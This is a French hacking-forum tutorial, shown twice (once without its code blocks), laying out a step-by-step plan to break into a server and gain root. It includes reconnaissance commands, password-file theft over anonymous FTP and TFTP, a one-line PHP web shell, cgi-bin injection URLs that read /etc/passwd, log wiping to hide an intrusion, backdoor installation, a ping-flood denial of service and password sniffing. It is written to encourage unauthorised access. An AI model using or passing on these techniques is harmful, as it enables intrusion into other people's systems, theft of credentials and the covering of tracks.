Plan d'attaque d'un serveur : objectif root.
# Etape 1 : Recupération des informations de l'host :
Quelques commandes UNIX:
Si FTP anonyme, alors on fait :
pour récupérer le fichier passwd, que l'on décryptera avec JTR par exemple, sauf si le pass est shadow, dans ce cas on ne peut rien faire, à moins que le vrai fichier soit dans un repertoire en d rwxr-xr-- , mais bon c'est rare…
Si nmap donne 69 comme port ouvert, c'est qu'il y a une faille tftp, on essaye donc :
Même chose que pour FTP anonymous.
La commande finger nous permettra de voler le nom des users.
La commande traceroute nous permettra d'avoir des infos sur le serveur afin de le mapper.
Les failles présentées avec nmap peuvent également nous permettre d'anticiper des dénis de service, des buffer overflow, etc.
Sinon nous pouvont lancer des scans de failles sur le serveur, grâce à des programmes comme NESSUS ou SATAN, failles qui pourraient être très intéressantes par la suite...
Et si vous êtes un adepte de Windows : WsPingProPack. Il peut vous donner le même type d'informations (pour le scan de failles : VulnerabilityScanner ou NTscan, si vous comptez hacker un serveur windows…).
# Etape 2 : Création d'un compte sur le serveur.
Si il existe un compte guest ou anonymous sur le serveur, c'est gagné.
Sinon, il va vous falloir mounter ce compte.
On utilise donc la commande mount, pour monter sa partition via NFS.
Ensuite on crée un uid dans le ficher passwd, puis crée un fichier rhost pour pouvoir se connecter à notre compte guest via la commande rlogin.
Bon, cet exploit rlogin est malheureusement obsolète, et marche de moins en moins souvent... Qu'importe, il existe plein d'autres exploits remote user, à chercher sur le net.
Ou sinon, on peut profiter d'une faille sur le serveur pour se forger un compte/accès.
Exemple de failles :
- Faille include/php , qui permet d'insérer du script dans les pages.
Avec un script comme celui-ci, on pourra se logguer facilement :
On place ce fichier sur le serveur, et on l'exécute à partir du site.
On obtient donc par ce script un account "Apache" sur le serveur.
- Failles cgi-bin, qui permettent de faire un tas de trucs, du genre :
peut être utlisée pour lire le fichier passwd
idem
voir les repertoires
Etc.
# Etape 3 : Exploitation des failles.
Ce n'est pas le même type de failles que tout à l'heure...
Ces failles vont nous permettre de nous "rooter" sur le système.
Quel type de failles ? Ce sont généralement des failles dues à des programmes, comme par exemple Sendmail, ou le célèbre exploit de la commande umount pour les SunOs ou encore des buffer overflow.
On va donc chercher un exploit exploitant les faiblesses auparavant détectées sur le serveur. De toute évidence cela sera un exploit de type local root.
On va ensuite le placer sur notre propre compte, le compiler (avec la commande $ gcc), puis l'éxécuter sur le serveur.
Et si vous avez bien bossé… le shell root vous aurez...
# Etape 4 : On cache les preuves...
Si vous venez d'infiltrer un système, la moindre des choses, c'est de ne pas se faire prendre. Tout bon hacker devra alors effacer ses sales traces de pattes sur le serveur, en effacant ou en éditant les fichiers logs du serveur, suceptibles de vous retrouver.
Ces fichiers logs sont au nombre de trois :
Syslog, lastlogs et historiques sont des fichiers auxquels il faut faire très attention.
Attention aux manips trop douteuses, agissez donc de nuit, avec précaution, sans effectuer de modifications trop… voyantes.
Une fois les preuves cachées, on aura du mal à vous retrouver^^
# Etape 5 : On fabrique une backdoor
On va devoir maintenant s'aménager une backdoor pour pouvoir revenir quand bon nous semble sur le serveur.
De nombreuses backdoors déjà toutes faites vous attendent un peu partout sur le net ou le forum... fouillez un peu
Le problème, c'est que dans la plupart des cas, il faudra rebooter le serveur pour activer la backdoor...
Où est le problème ???
Eh bien, simplement, les serveurs ont une adresse IP fixe et sont connectés 24 heures sur 24. Alors, pour rebooter ces infatigables serveurs, il vous faudra faire un DoS.
Exemple de DoS ?
Vous pouvez programmer un script qui exécutera une série de commandes aléatoire de manière répétitive qui pourront, à force, faire planter le serveur.
Egalement, vous pouvez utliser la technique de l'oversize packet :
Ou 65000 correspond au nombre de requêtes ping à envoyer, il faut en mettre suffisament pour faire rebooter le serveur...
Mais bon, la plupart du temps vous recevrez un message de time out, et puis c'est assez long comme méthode, faut être patient... après y'a d'autres méthodes pour DoS mais le sujet n'est pas là.
Sinon, maitenant que vous êtes root, vous pouvez aussi installer un sniffer en tête de réseau, avec filtre sur rlogin/rpass.
Parce qu'on peut en faire des choses quand on est root...
# Etape 6 : Une fois en root.
Place à votre imagination... Faites vous plaisir
# Etape 1 : Recupération des informations de l'host :
Quelques commandes UNIX:
Code:
$ finger @ip_serveur $ nmap @ip_serveur $ traceroute @ip_serveur
Code:
$ get etc/passwd
Si nmap donne 69 comme port ouvert, c'est qu'il y a une faille tftp, on essaye donc :
Code:
$ evil %tftp
Code:
$ get etc/passwd
La commande finger nous permettra de voler le nom des users.
La commande traceroute nous permettra d'avoir des infos sur le serveur afin de le mapper.
Les failles présentées avec nmap peuvent également nous permettre d'anticiper des dénis de service, des buffer overflow, etc.
Sinon nous pouvont lancer des scans de failles sur le serveur, grâce à des programmes comme NESSUS ou SATAN, failles qui pourraient être très intéressantes par la suite...
Et si vous êtes un adepte de Windows : WsPingProPack. Il peut vous donner le même type d'informations (pour le scan de failles : VulnerabilityScanner ou NTscan, si vous comptez hacker un serveur windows…).
# Etape 2 : Création d'un compte sur le serveur.
Si il existe un compte guest ou anonymous sur le serveur, c'est gagné.
Sinon, il va vous falloir mounter ce compte.
On utilise donc la commande mount, pour monter sa partition via NFS.
Ensuite on crée un uid dans le ficher passwd, puis crée un fichier rhost pour pouvoir se connecter à notre compte guest via la commande rlogin.
Bon, cet exploit rlogin est malheureusement obsolète, et marche de moins en moins souvent... Qu'importe, il existe plein d'autres exploits remote user, à chercher sur le net.
Ou sinon, on peut profiter d'une faille sur le serveur pour se forger un compte/accès.
Exemple de failles :
- Faille include/php , qui permet d'insérer du script dans les pages.
Avec un script comme celui-ci, on pourra se logguer facilement :
Code:
<? system($cmd); ?>
On obtient donc par ce script un account "Apache" sur le serveur.
- Failles cgi-bin, qui permettent de faire un tas de trucs, du genre :
Code:
/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
Code:
/cgi-bin/php.cgi?/etc/passwd
Code:
/cgi-bin/phf?Q=x%0apwd
Etc.
# Etape 3 : Exploitation des failles.
Ce n'est pas le même type de failles que tout à l'heure...
Ces failles vont nous permettre de nous "rooter" sur le système.
Quel type de failles ? Ce sont généralement des failles dues à des programmes, comme par exemple Sendmail, ou le célèbre exploit de la commande umount pour les SunOs ou encore des buffer overflow.
On va donc chercher un exploit exploitant les faiblesses auparavant détectées sur le serveur. De toute évidence cela sera un exploit de type local root.
On va ensuite le placer sur notre propre compte, le compiler (avec la commande $ gcc), puis l'éxécuter sur le serveur.
Et si vous avez bien bossé… le shell root vous aurez...
# Etape 4 : On cache les preuves...
Si vous venez d'infiltrer un système, la moindre des choses, c'est de ne pas se faire prendre. Tout bon hacker devra alors effacer ses sales traces de pattes sur le serveur, en effacant ou en éditant les fichiers logs du serveur, suceptibles de vous retrouver.
Ces fichiers logs sont au nombre de trois :
Syslog, lastlogs et historiques sont des fichiers auxquels il faut faire très attention.
Attention aux manips trop douteuses, agissez donc de nuit, avec précaution, sans effectuer de modifications trop… voyantes.
Une fois les preuves cachées, on aura du mal à vous retrouver^^
# Etape 5 : On fabrique une backdoor
On va devoir maintenant s'aménager une backdoor pour pouvoir revenir quand bon nous semble sur le serveur.
De nombreuses backdoors déjà toutes faites vous attendent un peu partout sur le net ou le forum... fouillez un peu
Le problème, c'est que dans la plupart des cas, il faudra rebooter le serveur pour activer la backdoor...
Où est le problème ???
Eh bien, simplement, les serveurs ont une adresse IP fixe et sont connectés 24 heures sur 24. Alors, pour rebooter ces infatigables serveurs, il vous faudra faire un DoS.
Exemple de DoS ?
Vous pouvez programmer un script qui exécutera une série de commandes aléatoire de manière répétitive qui pourront, à force, faire planter le serveur.
Egalement, vous pouvez utliser la technique de l'oversize packet :
Code:
ping -| 65000 www.site.com
Mais bon, la plupart du temps vous recevrez un message de time out, et puis c'est assez long comme méthode, faut être patient... après y'a d'autres méthodes pour DoS mais le sujet n'est pas là.
Sinon, maitenant que vous êtes root, vous pouvez aussi installer un sniffer en tête de réseau, avec filtre sur rlogin/rpass.
Parce qu'on peut en faire des choses quand on est root...
# Etape 6 : Une fois en root.
Place à votre imagination... Faites vous plaisir
Commentaire